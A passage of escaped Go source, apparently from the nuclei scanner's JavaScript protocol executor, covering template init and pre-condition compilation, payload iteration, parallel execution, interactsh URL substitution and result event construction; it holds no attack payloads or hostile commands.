request\"`\n\n\tgenerator *generators.PayloadGenerator\n\n\t// cache any variables that may be needed for operation.\n\toptions *protocols.ExecutorOptions `yaml:\"-\" json:\"-\"`\n\n\tpreConditionCompiled *goja.Program `yaml:\"-\" json:\"-\"`\n\n\tscriptCompiled *goja.Program `yaml:\"-\" json:\"-\"`\n}\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\trequest.options = options\n\n\tvar err error\n\tif len(request.Payloads) > 0 {\n\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, options.Catalog, options.Options.AttackType, options.Options)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t\t// default to 20 threads for payload requests\n\t\trequest.Threads = options.GetThreadsForNPayloadRequests(request.Requests(), request.Threads)\n\t}\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tfor _, matcher := range compiled.Matchers {\n\t\t\tif matcher.Part == \"\" && matcher.Type.MatcherType != matchers.DSLMatcher {\n\t\t\t\tmatcher.Part = \"response\"\n\t\t\t}\n\t\t}\n\t\tfor _, extractor := range compiled.Extractors {\n\t\t\tif extractor.Part == \"\" {\n\t\t\t\textractor.Part = \"response\"\n\t\t\t}\n\t\t}\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errkit.Newf(\"could not compile operators got %v\", err)\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\n\t// \"Port\" is a special variable and it should not contains any dsl expressions\n\tports := request.getPorts()\n\tfor _, port := range ports {\n\t\tif strings.Contains(port, \"{{\") {\n\t\t\treturn errkit.New(\"'Port' variable cannot contain any dsl expressions\")\n\t\t}\n\t}\n\n\tif request.Init != \"\" {\n\t\t// execute init code if any\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Debug().Msgf(\"[%s] Executing Template Init\\n\", request.TemplateID)\n\t\t\tvar highlightFormatter = \"terminal256\"\n\t\t\tif request.options.Options.NoColor {\n\t\t\t\thighlightFormatter = \"text\"\n\t\t\t}\n\t\t\tvar buff bytes.Buffer\n\t\t\t_ = quick.Highlight(&buff, beautifyJavascript(request.Init), \"javascript\", highlightFormatter, \"monokai\")\n\t\t\tprettyPrint(request.TemplateID, buff.String())\n\t\t}\n\n\t\topts := &compiler.ExecuteOptions{\n\t\t\tExecutionId:     request.options.Options.ExecutionId,\n\t\t\tTimeoutVariants: request.options.Options.GetTimeouts(),\n\t\t\tSource:          &request.Init,\n\t\t\tContext:         context.Background(),\n\t\t}\n\t\t// register 'export' function to export variables from init code\n\t\t// these are saved in args and are available in pre-condition and request code\n\t\topts.Callback = func(runtime *goja.Runtime) error {\n\t\t\terr := gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\t\t\tName: \"set\",\n\t\t\t\tSignatures: []string{\n\t\t\t\t\t\"set(string, interface{})\",\n\t\t\t\t},\n\t\t\t\tDescription: \"set variable from init code. this function is available in init code block only\",\n\t\t\t\tFuncDecl: func(varname string, value any) error {\n\t\t\t\t\tif varname == \"\" {\n\t\t\t\t\t\treturn fmt.Errorf(\"variable name cannot be empty\")\n\t\t\t\t\t}\n\t\t\t\t\tif value == nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"variable value cannot be empty\")\n\t\t\t\t\t}\n\t\t\t\t\tif request.Args == nil {\n\t\t\t\t\t\trequest.Args = make(map[string]interface{})\n\t\t\t\t\t}\n\t\t\t\t\trequest.Args[varname] = value\n\t\t\t\t\treturn nil\n\t\t\t\t},\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{\n\t\t\t\tName: \"updatePayload\",\n\t\t\t\tSignatures: []string{\n\t\t\t\t\t\"updatePayload(string, interface{})\",\n\t\t\t\t},\n\t\t\t\tDescription: \"update/override any payload from init code. this function is available in init code block only\",\n\t\t\t\tFuncDecl: func(varname string, Value any) error {\n\t\t\t\t\tif request.Payloads == nil {\n\t\t\t\t\t\trequest.Payloads = make(map[string]interface{})\n\t\t\t\t\t}\n\t\t\t\t\tif request.generator != nil {\n\t\t\t\t\t\trequest.Payloads[varname] = Value\n\t\t\t\t\t\trequest.generator, err = generators.New(request.Payloads, request.AttackType.Value, request.options.TemplatePath, options.Catalog, options.Options.AttackType, options.Options)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn fmt.Errorf(\"payloads not defined and cannot be updated\")\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t\topts.Cleanup = func(runtime *goja.Runtime) {\n\t\t\t_ = runtime.GlobalObject().Delete(\"set\")\n\t\t\t_ = runtime.GlobalObject().Delete(\"updatePayload\")\n\t\t}\n\n\t\targs := compiler.NewExecuteArgs()\n\t\tallVars := generators.MergeMaps(options.Variables.GetAll(), options.Options.Vars.AsMap(), request.options.Constants)\n\t\t// proceed with whatever args we have\n\t\targs.Args, _ = request.evaluateArgs(allVars, options, true)\n\n\t\tinitCompiled, err := compiler.SourceAutoMode(request.Init, false)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not compile init code: %s\", err)\n\t\t}\n\t\tresult, err := request.options.JsCompiler.ExecuteWithOptions(initCompiled, args, opts)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not execute pre-condition: %s\", err)\n\t\t}\n\t\tif types.ToString(result[\"error\"]) != \"\" {\n\t\t\tgologger.Warning().Msgf(\"[%s] Init failed with error %v\\n\", request.TemplateID, result[\"error\"])\n\t\t\treturn nil\n\t\t} else {\n\t\t\tif request.options.Options.Debug || request.options.Options.DebugResponse {\n\t\t\t\tgologger.Debug().Msgf(\"[%s] Init executed successfully\\n\", request.TemplateID)\n\t\t\t\tgologger.Debug().Msgf(\"[%s] Init result: %v\\n\", request.TemplateID, result[\"response\"])\n\t\t\t}\n\t\t}\n\t}\n\n\t// compile pre-condition if any\n\tif request.PreCondition != \"\" {\n\t\tpreConditionCompiled, err := compiler.SourceAutoMode(request.PreCondition, false)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not compile pre-condition: %s\", err)\n\t\t}\n\t\trequest.preConditionCompiled = preConditionCompiled\n\t}\n\n\t// compile actual source code\n\tif request.Code != \"\" {\n\t\tscriptCompiled, err := compiler.SourceAutoMode(request.Code, false)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not compile javascript code: %s\", err)\n\t\t}\n\t\trequest.scriptCompiled = scriptCompiled\n\t}\n\n\treturn nil\n}\n\n// Options returns executer options for http request\nfunc (r *Request) Options() *protocols.ExecutorOptions {\n\treturn r.options\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (request *Request) Requests() int {\n\tpre_conditions := 0\n\tif request.PreCondition != \"\" {\n\t\tpre_conditions = 1\n\t}\n\tif request.generator != nil {\n\t\tpayloadRequests := request.generator.NewIterator().Total()\n\t\treturn payloadRequests + pre_conditions\n\t}\n\treturn 1 + pre_conditions\n}\n\n// GetID returns the ID for the request if any.\nfunc (request *Request) GetID() string {\n\treturn request.ID\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(target *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// Get default port(s) if specified in template\n\tports := request.getPorts()\n\tif len(ports) == 0 {\n\t\treturn request.executeWithResults(\"\", target, dynamicValues, previous, callback)\n\t}\n\n\tvar errs []error\n\n\tfor _, port := range ports {\n\t\terr := request.executeWithResults(port, target, dynamicValues, previous, callback)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\n\treturn errkit.Join(errs...)\n}\n\n// executeWithResults executes the request\nfunc (request *Request) executeWithResults(port string, target *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tinput := target.Clone()\n\t// use network port updates input with new port requested in template file\n\t// and it is ignored if input port is not standard http(s) ports like 80,8080,8081 etc\n\t// idea is to reduce redundant dials to http ports\n\tif err := input.UseNetworkPort(port, request.getExcludePorts()); err != nil {\n\t\tgologger.Debug().Msgf(\"Could not network port from constants: %s\\n\", err)\n\t}\n\n\thostPort, err := getAddress(input.MetaInput.Input)\n\tif err != nil {\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn err\n\t}\n\thostname, port, _ := net.SplitHostPort(hostPort)\n\tif hostname == \"\" {\n\t\thostname = hostPort\n\t}\n\n\trequestOptions := request.options\n\ttemplateCtx := request.options.GetTemplateCtx(input.MetaInput)\n\n\tpayloadValues := generators.BuildPayloadFromOptions(request.options.Options)\n\tmaps.Copy(payloadValues, dynamicValues)\n\n\tpayloadValues[\"Hostname\"] = hostPort\n\tpayloadValues[\"Host\"] = hostname\n\tpayloadValues[\"Port\"] = port\n\n\thostnameVariables := protocolutils.GenerateDNSVariables(hostname)\n\tvalues := generators.MergeMaps(payloadValues, hostnameVariables, request.options.Constants, templateCtx.GetAll())\n\tvariablesMap := request.options.Variables.Evaluate(values)\n\tpayloadValues = generators.MergeMaps(variablesMap, payloadValues, request.options.Constants, hostnameVariables)\n\n\tvar interactshURLs []string\n\tif request.options.Interactsh != nil {\n\t\tfor payloadName, payloadValue := range payloadValues {\n\t\t\tvar urls []string\n\t\t\tpayloadValue, urls = request.options.Interactsh.Replace(types.ToString(payloadValue), interactshURLs)\n\t\t\tif len(urls) > 0 {\n\t\t\t\tinteractshURLs = append(interactshURLs, urls...)\n\t\t\t\tpayloadValues[payloadName] = payloadValue\n\t\t\t}\n\t\t}\n\t}\n\n\t// export all variables to template context\n\ttemplateCtx.Merge(payloadValues)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"JavaScript Protocol request variables: %s\\n\", vardump.DumpVariables(payloadValues))\n\t}\n\n\tif request.PreCondition != \"\" {\n\t\tpayloads := generators.MergeMaps(payloadValues, previous)\n\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\tgologger.Debug().Msgf(\"[%s] Executing Precondition for request\\n\", request.TemplateID)\n\t\t\tvar highlightFormatter = \"terminal256\"\n\t\t\tif requestOptions.Options.NoColor {\n\t\t\t\thighlightFormatter = \"text\"\n\t\t\t}\n\t\t\tvar buff bytes.Buffer\n\t\t\t_ = quick.Highlight(&buff, beautifyJavascript(request.PreCondition), \"javascript\", highlightFormatter, \"monokai\")\n\t\t\tprettyPrint(request.TemplateID, buff.String())\n\t\t}\n\n\t\targsCopy, err := request.getArgsCopy(input, payloads, requestOptions, true)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\targsCopy.TemplateCtx = templateCtx.GetAll()\n\n\t\tresult, err := request.options.JsCompiler.ExecuteWithOptions(request.preConditionCompiled, argsCopy,\n\t\t\t&compiler.ExecuteOptions{\n\t\t\t\tExecutionId:     requestOptions.Options.ExecutionId,\n\t\t\t\tTimeoutVariants: requestOptions.Options.GetTimeouts(),\n\t\t\t\tSource:          &request.PreCondition, Context: target.Context(),\n\t\t\t})\n\t\t// if precondition was successful\n\t\tif err == nil && result.GetSuccess() {\n\t\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t\tgologger.Debug().Msgf(\"[%s] Precondition for request was satisfied\\n\", request.TemplateID)\n\t\t\t}\n\t\t} else {\n\t\t\tvar outError error\n\t\t\t// if js code failed to execute\n\t\t\tif err != nil {\n\t\t\t\toutError = errkit.Append(errkit.New(\"pre-condition not satisfied skipping template execution\"), err)\n\t\t\t} else {\n\t\t\t\t// execution successful but pre-condition returned false\n\t\t\t\toutError = errkit.New(\"pre-condition not satisfied skipping template execution\")\n\t\t\t}\n\t\t\tresults := map[string]interface{}(result)\n\t\t\tresults[\"error\"] = outError.Error()\n\t\t\t// generate and return failed event\n\t\t\tdata := request.generateEventData(input, results, hostPort)\n\t\t\tdata = generators.MergeMaps(data, payloadValues)\n\t\t\tevent := eventcreator.CreateEventWithAdditionalOptions(request, data, request.options.Options.Debug || request.options.Options.DebugResponse, func(wrappedEvent *output.InternalWrappedEvent) {\n\t\t\t\tallVars := argsCopy.Map()\n\t\t\t\tallVars = generators.MergeMaps(allVars, data)\n\t\t\t\twrappedEvent.OperatorsResult.PayloadValues = allVars\n\t\t\t})\n\t\t\tcallback(event)\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif request.generator != nil && request.Threads > 1 {\n\t\trequest.executeRequestParallel(target.Context(), hostPort, hostname, input, payloadValues, callback)\n\t\treturn nil\n\t}\n\n\tvar gotMatches bool\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tselect {\n\t\t\tcase <-input.Context().Done():\n\t\t\t\treturn input.Context().Err()\n\t\t\tdefault:\n\t\t\t}\n\n\t\t\tif err := request.executeRequestWithPayloads(hostPort, input, hostname, value, payloadValues, func(result *output.InternalWrappedEvent) {\n\t\t\t\tif result.OperatorsResult != nil && result.OperatorsResult.Matched {\n\t\t\t\t\tgotMatches = true\n\t\t\t\t\trequest.options.Progress.IncrementMatched()\n\t\t\t\t}\n\t\t\t\tcallback(result)\n\t\t\t}, requestOptions, interactshURLs); err != nil {\n\t\t\t\tif errkit.IsNetworkPermanentErr(err) {\n\t\t\t\t\t// gologger.Verbose().Msgf(\"Could not execute request: %s\\n\", err)\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\t// If this was a match, and we want to stop at first match, skip all further requests.\n\t\t\tshouldStopAtFirstMatch := request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch\n\t\t\tif shouldStopAtFirstMatch && gotMatches {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn request.executeRequestWithPayloads(hostPort, input, hostname, nil, payloadValues, callback, requestOptions, interactshURLs)\n}\n\nfunc (request *Request) executeRequestParallel(ctxParent context.Context, hostPort, hostname string, input *contextargs.Context, payloadValues map[string]interface{}, callback protocols.OutputEventCallback) {\n\tthreads := request.Threads\n\tif threads == 0 {\n\t\tthreads = 1\n\t}\n\tctx, cancel := context.WithCancelCause(ctxParent)\n\tdefer cancel(nil)\n\trequestOptions := request.options\n\tgotmatches := &atomic.Bool{}\n\n\t// if request threads matches global payload concurrency we follow it\n\tshouldFollowGlobal := threads == request.options.Options.PayloadConcurrency\n\n\tsg, _ := syncutil.New(syncutil.WithSize(threads))\n\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tselect {\n\t\t\tcase <-input.Context().Done():\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t}\n\n\t\t\t// resize check point - nop if there are no changes\n\t\t\tif shouldFollowGlobal && sg.Size != request.options.Options.PayloadConcurrency {\n\t\t\t\tif err := sg.Resize(ctxParent, request.options.Options.PayloadConcurrency); err != nil {\n\t\t\t\t\tgologger.Warning().Msgf(\"Could not resize workpool: %s\\n\", err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsg.Add()\n\t\t\tgo func() {\n\t\t\t\tdefer sg.Done()\n\t\t\t\tif ctx.Err() != nil {\n\t\t\t\t\t// work already done exit\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tshouldStopAtFirstMatch := request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch\n\t\t\t\tif err := request.executeRequestWithPayloads(hostPort, input, hostname, value, payloadValues, func(result *output.InternalWrappedEvent) {\n\t\t\t\t\tif result.OperatorsResult != nil && result.OperatorsResult.Matched {\n\t\t\t\t\t\tgotmatches.Store(true)\n\t\t\t\t\t}\n\t\t\t\t\tcallback(result)\n\t\t\t\t}, requestOptions, []string{}); err != nil {\n\t\t\t\t\tif errkit.IsNetworkPermanentErr(err) {\n\t\t\t\t\t\tcancel(err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If this was a match, and we want to stop at first match, skip all further requests.\n\n\t\t\t\tif shouldStopAtFirstMatch && gotmatches.Load() {\n\t\t\t\t\tcancel(nil)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\tsg.Wait()\n\tif gotmatches.Load() {\n\t\trequest.options.Progress.IncrementMatched()\n\t}\n}\n\nfunc (request *Request) executeRequestWithPayloads(hostPort string, input *contextargs.Context, _ string, payload map[string]interface{}, previous output.InternalEvent, callback protocols.OutputEventCallback, requestOptions *protocols.ExecutorOptions, interactshURLs []string) error {\n\tpayloadValues := generators.MergeMaps(payload, previous)\n\targsCopy, err := request.getArgsCopy(input, payloadValues, requestOptions, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\targsCopy.TemplateCtx = request.options.GetTemplateCtx(input.MetaInput).GetAll()\n\t} else {\n\t\targsCopy.TemplateCtx = map[string]interface{}{}\n\t}\n\n\tif request.options.Interactsh != nil {\n\t\tif argsCopy.Args != nil {\n\t\t\tfor k, v := range argsCopy.Args {\n\t\t\t\tvar urls []string\n\t\t\t\tv, urls = request.options.Interactsh.Replace(fmt.Sprint(v), []string{})\n\t\t\t\tif len(urls) > 0 {\n\t\t\t\t\tinteractshURLs = append(interactshURLs, urls...)\n\t\t\t\t\targsCopy.Args[k] = v\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tresults, err := request.options.JsCompiler.ExecuteWithOptions(request.scriptCompiled, argsCopy,\n\t\t&compiler.ExecuteOptions{\n\t\t\tExecutionId:     requestOptions.Options.ExecutionId,\n\t\t\tTimeoutVariants: requestOptions.Options.GetTimeouts(),\n\t\t\tSource:          &request.Code,\n\t\t\tContext:         input.Context(),\n\t\t})\n\tif err != nil {\n\t\t// shouldn't fail even if it returned error instead create a failure event\n\t\tresults = compiler.ExecuteResult{\"success\": false, \"error\": err.Error()}\n\t}\n\trequest.options.Progress.IncrementRequests()\n\trequestOptions.Output.Request(requestOptions.TemplateID, hostPort, request.Type().String(), err)\n\tgologger.Verbose().Msgf(\"[%s] Sent Javascript request to %s\", request.options.TemplateID, hostPort)\n\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests || requestOptions.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Javascript request for %s:\\nVariables:\\n %v\", requestOptions.TemplateID, input.MetaInput.Input, vardump.DumpVariables(argsCopy.Args))\n\n\t\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests {\n\t\t\tgologger.Debug().Str(\"address\", input.MetaInput.Input).Msg(msg)\n\t\t\tvar highlightFormatter = \"terminal256\"\n\t\t\tif requestOptions.Options.NoColor {\n\t\t\t\thighlightFormatter = \"text\"\n\t\t\t}\n\t\t\tvar buff bytes.Buffer\n\t\t\t_ = quick.Highlight(&buff, beautifyJavascript(request.Code), \"javascript\", highlightFormatter, \"monokai\")\n\t\t\tprettyPrint(request.TemplateID, buff.String())\n\t\t}\n\t\tif requestOptions.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), msg)\n\t\t}\n\t}\n\n\tvalues := mapsutil.Merge(payloadValues, results)\n\t// generate event data\n\tdata := request.generateEventData(input, values, hostPort)\n\n\t// add and get values from templatectx\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.GetID(), data)\n\tdata = generators.MergeMaps(data, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests || requestOptions.Options.StoreResponse {\n\t\tmsg := fmt.Sprintf(\"[%s] Dumped Javascript response for %s:\\n%v\", requestOptions.TemplateID, input.MetaInput.Input, vardump.DumpVariables(results))\n\t\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests {\n\t\t\tgologger.Debug().Str(\"address\", input.MetaInput.Input).Msg(msg)\n\t\t}\n\t\tif requestOptions.Options.StoreResponse {\n\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), msg)\n\t\t}\n\t}\n\n\tif _, ok := data[\"error\"]; ok {\n\t\tevent := eventcreator.CreateEventWithAdditionalOptions(request, generators.MergeMaps(data, payloadValues), request.options.Options.Debug || request.options.Options.DebugResponse, func(wrappedEvent *output.InternalWrappedEvent) {\n\t\t\twrappedEvent.OperatorsResult.PayloadValues = payload\n\t\t})\n\t\tcallback(event)\n\t\treturn err\n\t}\n\n\tif request.options.Interactsh != nil {\n\t\trequest.options.Interactsh.MakePlaceholders(interactshURLs, data)\n\t}\n\n\tvar event *output.InternalWrappedEvent\n\tif len(interactshURLs) == 0 {\n\t\tevent = eventcreator.CreateEventWithAdditionalOptions(request, generators.MergeMaps(data, payloadValues), request.options.Options.Debug || request.options.Options.DebugResponse, func(wrappedEvent *output.InternalWrappedEvent) {\n\t\t\twrappedEvent.OperatorsResult.PayloadValues = payload\n\t\t})\n\t\tcallback(event)\n\t} else if request.options.Interactsh != nil {\n\t\tevent = &output.InternalWrappedEvent{InternalEvent: data, UsesInteractsh: true}\n\t\trequest.options.Interactsh.RequestEvent(interactshURLs, &interactsh.RequestData{\n\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\tEvent:          event,\n\t\t\tOperators:      request.CompiledOperators,\n\t\t\tMatchFunc:      request.Match,\n\t\t\tExtractFunc:    request.Extract,\n\t\t})\n\t}\n\treturn nil\n}\n\n// generateEventData generates event data for the request\nfunc (request *Request) generateEventData(input *contextargs.Context, values map[string]interface{}, matched string) map[string]interface{} {\n\tdialers := protocolstate.GetDialersWithId(request.options.Options.ExecutionId)\n\tif dialers == nil {\n\t\tpanic(fmt.Sprintf(\"dialers not initialized for %s\", request.options.Options.ExecutionId))\n\t}\n\n\tdata := make(map[string]interface{})\n\tmaps.Copy(data, values)\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"request-pre-condition\"] = beautifyJavascript(request.PreCondition)\n\tdata[\"request\"] = beautifyJavascript(request.Code)\n\tdata[\"host\"] = input.MetaInput.Input\n\tdata[\"matched\"] = matched\n\tdata[\"template-path\"] = request.options.TemplatePath\n\tdata[\"template-id\"] = request.options.TemplateID\n\tdata[\"template-info\"] = request.options.TemplateInfo\n\tif request.StopAtFirstMatch || request.options.StopAtFirstMatch {\n\t\tdata[\"stop-at-first-match\"] = true\n\t}\n\t// add ip address to data\n\tif input.MetaInput.CustomIP != \"\" {\n\t\tdata[\"ip\"] = input.MetaInput.CustomIP\n\t} else {\n\t\t// context: https://github.com/projectdiscovery/nuclei/issues/5021\n\t\thostname := input.MetaInput.Input\n\t\tif strings.Contains(hostname, \":\") {\n\t\t\thost, _, err := net.SplitHostPort(hostname)\n\t\t\tif err == nil {\n\t\t\t\thostname = host\n\t\t\t} else {\n\t\t\t\t// naive way\n\t\t\t\tif !strings.Contains(hostname, \"]\") {\n\t\t\t\t\thostname = hostname[:strings.LastIndex(hostname, \":\")]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdata[\"ip\"] = dialers.Fastdialer.GetDialedIP(hostname)\n\t\t// if input itself was an ip, use it\n\t\tif iputil.IsIP(hostname) {\n\t\t\tdata[\"ip\"] = hostname\n\t\t}\n\n\t\t// if ip is not found,this is because ssh and other protocols do not use fastdialer\n\t\t// although its not perfect due to its use case dial and get ip\n\t\tdnsData, err := dialers.Fastdialer.GetDNSData(hostname)\n\t\tif err == nil {\n\t\t\tfor _, v := range dnsData.A {\n\t\t\t\tdata[\"ip\"] = v\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif data[\"ip\"] == \"\" {\n\t\t\t\tfor _, v := range dnsData.AAAA {\n\t\t\t\t\tdata[\"ip\"] = v\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn data\n}\n\nfunc (request *Request) getArgsCopy(input *contextargs.Context, payloadValues map[string]interface{}, requestOptions *protocols.ExecutorOptions, ignoreErrors bool) (*compiler.ExecuteArgs, error) {\n\t// Template args from payloads\n\targsCopy, err := request.evaluateArgs(payloadValues, requestOptions, ignoreErrors)\n\tif err != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input.MetaInput.Input, request.Type().String(), err)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t}\n\t// \"Port\" is a special variable that is considered as network port\n\t// and is conditional based on input port and default port specified in input\n\targsCopy[\"Port\"] = input.Port()\n\n\treturn &compiler.ExecuteArgs{Args: argsCopy}, nil\n}\n\n// evaluateArgs evaluates arguments using available payload values and returns a copy of args\nfunc (request *Request) evaluateArgs(payloadValues map[string]interface{}, _ *protocols.ExecutorOptions, ignoreErrors bool) (map[string]interface{}, error) {\n\targsCopy := make(map[string]interface{})\nmainLoop:\n\tfor k, v := range request.Args {\n\t\tif vVal, ok := v.(string); ok && strings.Contains(vVal, \"{\") {\n\t\t\tfinalAddress, dataErr := expressions.Evaluate(vVal, payloadValues)\n\t\t\tif dataErr != nil {\n\t\t\t\treturn nil, errors.Wrap(dataErr, \"could not evaluate template expressions\")\n\t\t\t}\n\t\t\tif finalAddress == vVal && ignoreErrors {\n\t\t\t\targsCopy[k] = \"\"\n\t\t\t\tcontinue mainLoop\n\t\t\t}\n\t\t\targsCopy[k] = finalAddress\n\t\t} else {\n\t\t\targsCopy[k] = v\n\t\t}\n\t}\n\treturn argsCopy, nil\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"type\":     \"Type is the type of request made\",\n\t\"response\": \"Javascript protocol result response\",\n\t\"host\":     \"Host is the input to the template\",\n\t\"matched\":  \"Matched is the input which was matched upon\",\n}\n\n// getAddress returns the address of the host to make request to\nfunc getAddress(toTest string) (string, error) {\n\turlx, err := urlutil.Parse(toTest)\n\tif err != nil {\n\t\t// use given input instead of url parsing failure\n\t\treturn toTest, nil\n\t}\n\treturn urlx.Host, nil\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.JavascriptProtocol\n}\n\nfunc (request *Request) getPorts() []string {\n\tfor k, v := range request.Args {\n\t\tif strings.EqualFold(k, \"Port\") {\n\t\t\tportStr := types.ToString(v)\n\t\t\tports := []string{}\n\t\t\tfor _, p := range strings.Split(portStr, \",\") {\n\t\t\t\ttrimmed := strings.TrimSpace(p)\n\t\t\t\tif trimmed != \"\" {\n\t\t\t\t\tports = append(ports, trimmed)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn sliceutil.Dedupe(ports)\n\t\t}\n\t}\n\treturn []string{}\n}\n\nfunc (request *Request) getExcludePorts() string {\n\tfor k, v := range request.Args {\n\t\tif strings.EqualFold(k, \"exclude-ports\") {\n\t\t\treturn types.ToString(v)\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolutils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(wrapped.InternalEvent[\"template-id\"]),\n\t\tTemplatePath:     types.ToString(wrapped.InternalEvent[\"template-path\"]),\n\t\tInfo:             wrapped.InternalEvent[\"template-info\"].(model.Info),\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tURL:              fields.URL,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"response\"]),\n\t\tIP:               